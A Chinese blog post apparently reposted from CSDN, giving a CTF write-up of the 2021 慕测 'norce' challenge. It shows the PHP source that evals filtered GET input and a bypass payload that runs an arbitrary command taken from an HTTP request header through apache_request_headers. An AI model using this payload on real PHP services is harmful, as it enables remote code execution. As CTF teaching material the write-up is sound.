HacKerQWQ的博客空间

无参数rce新解法(2021慕测web应用个人赛norce)

Word count: 203Reading time: 1 min
2021/10/26 Share

本文来源:https://blog.csdn.net/qq_33008305/article/details/120950537?spm=1001.2014.3001.5502

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)){
if (!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i",$exp)) {
eval($exp);
}else{
exit('NoNoNo,U R Hacker~');
}
}else{
echo "what???";
}

可以说禁用了很多函数,之前禁止套娃的方法用不上了,这里用fuzz脚本看还剩什么函数

https://github.com/0x414a/php_fuzz

image-20211026235913797

可以看到没有禁用apache_request_headers函数,它的作用和getallheaders一样,能获取header数据,但是只能用于apache服务器

image-20211026235952749

配合没有过滤的array_shift弹出数组第一位,然后用die回显

image-20211027000813424

用system执行命令

image-20211027000946988

payload:

1
?exp=system(array_shift(apache_request_headers()));
CATALOG